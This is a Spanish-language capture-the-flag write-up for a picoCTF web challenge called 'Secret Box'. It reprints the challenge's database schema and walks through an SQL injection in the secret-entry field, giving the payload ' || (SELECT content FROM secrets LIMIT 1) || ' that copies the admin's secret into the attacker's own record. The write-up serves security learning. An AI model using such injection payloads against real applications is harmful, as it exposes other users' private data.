Secret Box writeup

Descripción
This secret box is designed to conceal your secrets.
It’s perfectly secure—only you can see what’s inside.
Or can you? Try uncovering the admin’s secret.
Secret Box solución
Lanzaremos la instancia y, tras crear una cuenta, veremos la posibilidad de añadir secretos:
Si introducimos una comilla simple en el campo del secreto, podremos ver un error de SQL:
'

Gracias a este error, podemos construir dentro de esta consulta SQL una petición que nos devuelva el secreto del adminsitrador y lo almacene como contenido de nuestro secreto. Para ello, primero debemos de tener clara la estructura de la base de datos, esto lo podemos ver gracias al código fuente que nos proprociona el CTF:
CREATE TABLE users (
id text PRIMARY KEY DEFAULT gen_random_uuid(),
username text NOT NULL,
password text NOT NULL,
created_at timestamptz NOT NULL DEFAULT now()
);
CREATE TABLE tokens (
id text PRIMARY KEY DEFAULT gen_random_uuid(),
user_id text NOT NULL REFERENCES users(id),
created_at timestamptz NOT NULL DEFAULT now(),
expired_at timestamptz NOT NULL DEFAULT now() + interval '1 days'
);
CREATE TABLE secrets (
id text PRIMARY KEY DEFAULT gen_random_uuid(),
owner_id text NOT NULL REFERENCES users(id),
content text NOT NULL,
created_at timestamptz NOT NULL DEFAULT now()
);
INSERT INTO users(id, username, password) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');
INSERT INTO secrets(owner_id, content) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');
La tabla que nos interesa es la tabla ‘secrets’. Dentro de ella, la columna ‘content’ es la que tiene el contenido del secreto.
También vemos cómo se ha populado la base de datos, teniendo sólo un usuario (admin) y un único secreto (la flag).
Entonces, podemos sacar de esta tabla el primer secreto que se ha introducido:
' || (SELECT content FROM secrets LIMIT 1) || '
Al enviar esta consulta obtendremos la flag:

Consultor de ciberseguridad especializado en continuidad de negocio y respuesta ante incidentes. Interesado en analizar tecnologías desde una perspectiva de seguridad y descubrir su comportamiento real.
